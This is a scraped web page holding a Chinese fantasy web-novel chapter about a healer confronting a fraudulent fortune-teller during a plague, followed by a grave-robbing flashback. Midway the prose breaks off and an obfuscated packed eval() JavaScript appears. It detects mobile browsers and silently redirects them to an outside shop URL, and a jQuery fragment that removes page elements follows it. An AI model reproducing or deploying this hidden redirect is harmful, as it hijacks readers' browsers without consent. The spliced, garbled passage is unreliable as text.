医家瞧诊问病,讲究的是望闻问切,夏语早在信中就已经提到了,当地蔓延的是一种奇怪的疫病,染病者身体并无任何损伤,甚至身体并未发烫,而且呼吸吐纳气息平稳,脉搏也并无异常。
这一幅古怪模样,倒像是丢了魂似的,叫来的大夫均束手无策。
金玉奴伸手搭在了少女纤细的手腕上,三三两两的人都围了上来,金玉奴清亮的瞳孔闪过异样。
可作为医者向来稳重自持,面上无悲无喜,随后又为好几个昏迷不醒的患者把脉,眼神示意阿木,准备笔墨,提笔写下药方子。
从精致的钱袋里拿出了几块沉甸甸的金子,还有几张大额银票,递给了阿木:“去附近的城镇和集市,尽量把单子上的东西都买全了,其他的也就罢了,草药一定要买齐,天黑之前务必要赶回来。煎药给他们服下,先吊住一口气。”
转身对那胡岱说道:“还有你,叫上几个你们村里面得力可靠,知根知底的人跟着阿木跑一趟,把东西给买回来。”
话到此处,金玉奴刻意放大了音量,对着在场的人说道:“尤其是单子上的大米和糯米,这个关系到大家伙儿的温饱,糯米则是为了驱散邪祟的,所以就请陪同的兄弟们好好想想你们的家人,务必尽心尽力,咱们才能一块儿度过这场疫病。”
看着满屋子面黄肌瘦,叫苦不迭的灾民,金玉奴秀眉皱起,暗自叹息就算她把大部分的钱财拿出来了,也只是杯水车薪,顶多撑个三五日,要想解决这场疫病,还是得从根源入手。
思虑至此,金玉奴垂下的眼眸闪过了一丝怒火,出了避难所,抬腿径直走向了知县府衙。
夏语和金玉奴见面之时,看着眼前这个少女容貌秀丽,可这打扮却是粗布麻衫的乡野打扮,似乎与阮游信中所说的顶级玄门出身,世家贵女的形象大相径庭。
金玉奴自然一眼就看透了这位探花郎的疑惑,也不做过多解释,莞尔一笑,将阮游写给她的书信递了过去。
在赶往灵台山的路上,金玉奴为了摆脱那个不要命的疯子,和途中几个年纪相仿的姑娘换了衣服,看着那几个姑娘穿着自己和阿木的衣服往反方向远去。
她只希望那个疯子是个路痴,又或者迷了路就更好了,总之最好是这辈子,他们两个人再也不要遇见对方了。
看到书信的那一刻,夏语心中的疑虑消了一大半,仔细观察之下,从这姑娘的谈吐举止中也这可以看出玄门世家的风采,于是就将事情的前因后果挑了些重要的诉苦。
入夜,小小的庭院中,金玉奴正在侍候草药,耳畔传来风吹帘动的声音,捏着草药的指尖微微一顿。
嘴角勾起一抹笑,心道:不过才短短三日,这就坐不住了?急赤白脸地就跳出来找她算账,可真沉不住气啊。
所谓的张半仙其实只是个狗眼看人低,思想水平也极其低下的小人物,浑浊的眼珠子在少女的周身转悠了一圈,嘴角一撇,眼神里是毫不掩饰的轻蔑,觉得对方穿着普通的粗布衣衫,以为只是个寻常的乡野大夫。
并不将金玉奴放在眼里,语气刁钻蛮横:“哼!!一个粗鄙的乡野丫头,仗着自己会点儿医术就敢坏本半仙的事儿,在我还没动真格之前,麻溜地收拾你的包袱给我滚,否则,我就给你这死丫头一点颜色瞧瞧!!!”
金玉奴将手中晾晒干净的草药往竹筐里一扔,慢慢悠悠的侧过身来,视线落到了张瞎子那一身不土不洋的穿着打扮,眉头狠狠一皱,眼里是毫不掩饰的嫌弃:“嘶——,品味如此低俗的怪物,也不知是打哪儿窜出来的,看着就够让人恶心的了。”
人总是这样的,越是缺什么就越怕别人说什么。
张瞎子一听这话,立刻气的脸红脖子粗,撸起袖子作势要上去干架,嗷着个大嗓门嚷嚷着:“好你个死丫头,本大爷今天要是不撕了你这张嘴,大爷我就跟你姓!”
金玉奴听着如此粗俗的言语,心底泛起了一阵恶心,抬手之间就将数十枚妙手银针,朝着这个泼皮无赖的关节穴位刺穿而去。
张瞎子:“啊——”
二人实力悬殊相差太大,连一个回合都没下来,张瞎子疼得满地打滚的嗷嗷直叫,大颗大颗的汗水从他的额间划过。
金玉奴转身施施然的坐在了椅子上,她抬腕执杯,手指纤细如玉葱,指尖微微翘着,透着几分矜贵。轻抿茶水时,指节线条柔婉舒展,腕间轻转,娴静又优雅,连端杯的模样都透着不染尘俗的娇贵与雅致。
张瞎子疼得面部狰狞,犹如村里时日无多的赖皮狗一样,一步一步爬到了到了金玉奴的脚边,不断的磕头求饶。
“咚——,咚——,咚——”
一连串清脆的磕头声在青石板上响起。
“姑娘,放了我吧,你要我做什么都行,求您了……你别跟我这样一个品性低劣的废物计较,我不配,我不配,求您了高抬贵手吧,我——我立刻滚,我再也不踏进灵台山半步了。”
骨髓里、皮肉上的疼痛,让张瞎子恨不得此刻死了才好,他抬起头来,看到了少女阴沉的脸色,眼角抽搐吓得往门外爬去,立刻改口。
张瞎子:“我说!!!我什么都说,我——我——”
金玉奴:“晚了——”
金玉奴心中怒火难平,拿起银针注入淡金色的灵力,抬手一挥,将人固定在了屋檐的木头柱子上:“这些年装瞎子到处招摇撞骗,装的很辛苦吧,在你死之前,本姑娘让你尝尝真瞎的滋味!!!”
张瞎子:“啊啊啊——啊啊啊——”
犹如杀猪一般凄厉的惨叫划破了夜晚的寂静,两道鲜红的血液从张瞎子的眼眶滚滚滑落,那张黝黑的老脸上堆满了褶皱和鲜血,极其疹人。
金玉奴挥动指尖淡金色的灵力,将瞎眼道士怀中揣着的锦囊抽出来,那锦囊里装着的便是灵台山百姓的精魄。
一个穿着藏青粗布衫的少年,掀起了后院的竹帘,金玉奴拿着锦囊朝着少年扬了扬下巴说道:“阿七,你给我看紧了这个瞎子,千万别让他给我跑了,明天我就要当着全县百姓的,把他和徐光磊一块烧死!!!”
少年的皮囊在微黄的灯火下显得越发妖冶,微微勾起的唇角更是美得让人眼前一亮,他朝着金玉奴:“嗯呐。”
说罢,金玉奴收拾的药箱,带着阿木匆匆的赶往避难所,烛火照映的暗处,阿七美艳瑰丽的眼角流露出的嘲弄和冷漠。
云珂收回了探知鬼识的灵力,水眸沉下暗自思索:这个阿七到底是个什么人?为什么我从来没有听阿姐提起过有这么个人呢?之前那个半路上,披着斗篷戴着面具杀出来的疯子又是哪里来的?
云珂面对这些只言片语的片段,完全没有头绪,视线划过窗外,看来她只能从张瞎子嘴里把话撬出来了。
崔二办事向来迅速,出手快、准、狠,不过短短三五日,就将那瞎子的楠木红墙小庙给改头换面,成了崔氏在灵台山这一带附近的医馆,书信给玄门,派了专人来打理。
张瞎子十几年的心血算是被一锅端了,如今只怕正躲在某个让人瞧不见的角落里,恨的咬牙切齿罢了。
云珂在后院的秋千里晃悠着,望着天空中那一轮清辉,嘴唇微撅,一脑门子的事儿想的她脑袋疼,这次重回江湖,真是直接把她干到了最初的小叫花模样了。
是既没钱又没人,就连自创的古籍巫术也都忘了个七七八八,自己从前写的那些古籍要说全被那些仙门百家的人给毁了,那是不可能的,毕竟修炼巫术之人不少。
可这些天她大大小小的瓦肆、书店,甚至还趁着夜色偷偷潜入了某些大家族的藏书阁,能找到的古籍,尤其是她编撰的都只有孤本残页,就是东拼西凑起来也就只有两三分的皮毛。
不到三五日,云珂就已经熟练于掌心,可就这点三五流功夫,想到这里,云珂难过的扶额叹息,现在就连个张瞎子面对她都不带怕的,更何况那些个把阿姐拐走的牛鬼蛇神,这要是贸然前去,搞不好就是送人头。
云珂烦的将手中的枝条从秋千上扔了出去,烦躁的在院子里走来走去。
她该去哪里把自己写的古籍给找出来呢?
也不知道有没有那么一两个近乎变态的崇拜她的巫术后辈,收集她的手稿或又者是印拓版的也好啊,云珂忍不住嗷了一声,她对于自己在学术上登峰造极的造诣还是非常自信的。
绝对会圈到一大波有心气的少年少女学习巫术的……她没自信的是江湖上对她的风评实在是过于严苛,虽说不能说完全都是假的,但十有八九都是捕风捉影加之旁人的唾沫星子飞溅,故事的原本早就已经看不清了,至于事实的真相,更是没人在意。
云珂想起自己一世英名竟毁在了这些谣言之中,不由得痛心疾首,即便是她这样的人也只能窝在院子里,看着月光叹息一句:是非功过自有旁人去说。
这院子里静的都只能听见蝉鸣和落叶的声音,好似与寻常相比少了些什么,云珂猛然间才反应过来,这阵子崔陵总是会在夜间抚琴,今天晚上是怎么了?
怎么没声了?
云珂极为自然地晃到了那群崔氏子弟之中:“你们崔二公子呢?”
崔子洵正低着头,破解手中崔陵留给他的鲁班机,顺口说道:“我叔叔去琅琊办事了。”
云珂透过桌上的烛火,看见了十几岁的少年,穿着月白兰花襟,眉头微皱,认真地破解着一堆让人难以搞懂的木头。
云珂不禁回想起,那个时候的崔陵也是个跟在叔叔身后的男孩,一天到晚的叔叔长,叔叔短,张口闭口的都是叔叔,和现在崔子洵一副奶气未脱的模样,简直是一个模子里倒出来的。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879294|212437||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
云珂看了一眼烛光下的少年转身离去,从厨房里顺了一坛子酒,在房内支起了窗子,让微风吹拂进来,莫名的在香炉里点起了雪松。
在这个寂静的夜晚,云珂一点一滴的将讨厌的回忆再次清晰的记住。
十九年前,也是在这样一个寂静的夜晚,她慌不择路的逃离了崔氏的墓室。
下山路途曲折,石路险滑。
云珂回想起那女鬼的凶狠,心下惴惴不安,气的嘴里忍不住的咒骂:“你个臭小子,谁让你追我追得这么紧,是你逼我的,不能怪我,不能怪我……不能怪我的。”
云珂顺着刚才沿路的记号,一路下山去,全然没有察觉到身后的女鬼,正紧紧地跟在她身后,瞅准时机就要上她的身呢!
云珂一身的珠光宝气,衣袖兜子里装着沉甸甸的黄金,下山的半道上气喘吁吁。
杏花飞旋,夜空中掠过一抹淡黄色的身影。
“呜——”
云珂只听身后传来痛声哀嚎,一转头,足有筷子那么长的指甲,怼在她的瞳孔前,指甲离她的天灵盖近在咫尺,好似下一秒就要抓破她的脑袋,吓得她当即腿一软,就瘫坐在了地上,后怕不已。
这女鬼正是墓室里,柯敏洪放出来的丹娘,经过一晚上的激战,月亮渐渐下去了,鸡鸣晨起的声音隐隐传来,此刻的丹娘已是强弩之末,翻不起什么风浪了。
金月姬从衣袖里抽出仙绳,立时将丹娘捆住,沉声斥责:“你好歹毒的心肠,这么小的孩子你都不放过,竟想上她的身!”
丹娘脸色愤然,将头撇过去,一言不发。
有金月姬撑腰,云珂的恐惧渐渐褪去,立刻从地上跳了起来,气焰那叫一个嚣张。
指着那女鬼的鼻子,开口骂道:“呸!就你这么个徐娘半老的丑鬼,还妄想上本姑娘的身,我看你真是死得不耐烦了!”
丹娘原本理亏不愿多说,可没承想对上这样一个泼辣的小姑娘,当即开口讽刺:“你以为你是个什么好东西啊,不过就是个贪得无厌的小毛贼,有什么脸来指摘别人。”
说罢,目光挑衅地在云珂头上和脖子上的珠宝上转了一圈。
“嘿呦喂,你姑奶奶这个暴脾气——,今天要是不给你点颜色瞧瞧——”
云珂当即走上前去,撸起袖子仿佛要跟丹娘大干一场。
金月姬将剑鞘挡在了云珂的身前,冷眼瞥了她一眼,随即在指尖打了个响指,淡金色的火焰在指尖上空出现,又从衣袖里抽出两张黄符,随即将丹娘收在了自己随身携带的玉佩里。
云珂一肚子的花花肠子,脑瓜子也机灵,眼见事情不妙,悄悄地转身溜走,刚迈出腿跑了几步,就被金月姬用剑拦住了去路。
云珂满脸赔笑:“金先生,好巧啊,在这儿遇见您。”
金月姬没好气的看着云珂,眉眼之间流露出不悦,手心朝上抬在半空中,眼神示意云珂。
云珂心中暗自一沉,嘴角僵硬的扯着苦笑,乖顺听话的将脖子上戴的、头上插着的、手腕手指上套的金银珠宝首饰,一一都摘了下来,放进了布袋兜里,包好交给金先生。
金月姬掂了掂包里的重量,沉甸甸的还真不少,眼神扫过云珂那张讨好卖乖的脸,脸色这才稍稍缓和,顺手就在她脑门上敲了敲。
“你个鬼丫头,还真是胆大妄为,大半夜的还敢跟着柯敏洪那个无耻小人出来盗墓,东西都在这儿了吗?”
云珂低着头,瞧着像是一副乖顺听话极了的模样,裂开嘴角讨好赔笑:“都在里面了,我下次再也不敢了,先生别生我的气了。”
金月姬看她这副乖乖认错的样子,心中的气消了大半,可还是有一些不放心,这孩子是个聪明的,也实在是个苦命的,若是没一个像样的长辈加以引导,日后只怕会走错了路。
金月姬暗自叹了口气:“千年钱八百主,怎么可以为了这些黄白死物连自己的安危都不顾,况且这种墓里的钱是损阴德的,早晚是不会有好下场的。”
说罢,金月姬心中还记挂着墓室里的崔陵,顺手给了云珂两张黄符护身,便匆匆赶往山上。
眼看着金月姬御剑飞行而去,狡猾的小狸花头一歪,嘴角勾起一抹笑,就从裤腿处拽出了两根婴儿手臂粗的金条,得意地将金块在空中抛了抛。
咂摸着刚刚金先生所说的那两句话:千年钱八百主,早晚不会有好下场。
云珂心中其实是非常敬重金先生的。
可这兵荒马乱的年代,她一个孤女在这世上求生不易,她也是没有办法,若是有法子,他也不愿意拿死人的钱,这多晦气多缺德呀,可吃饱穿暖活下去,对她来说才是硬道理。
云珂从枝头随意的折下一段杏花,晃晃悠悠的下山去:“既然有八百多个主人,那多我一个又能怎么样呢?”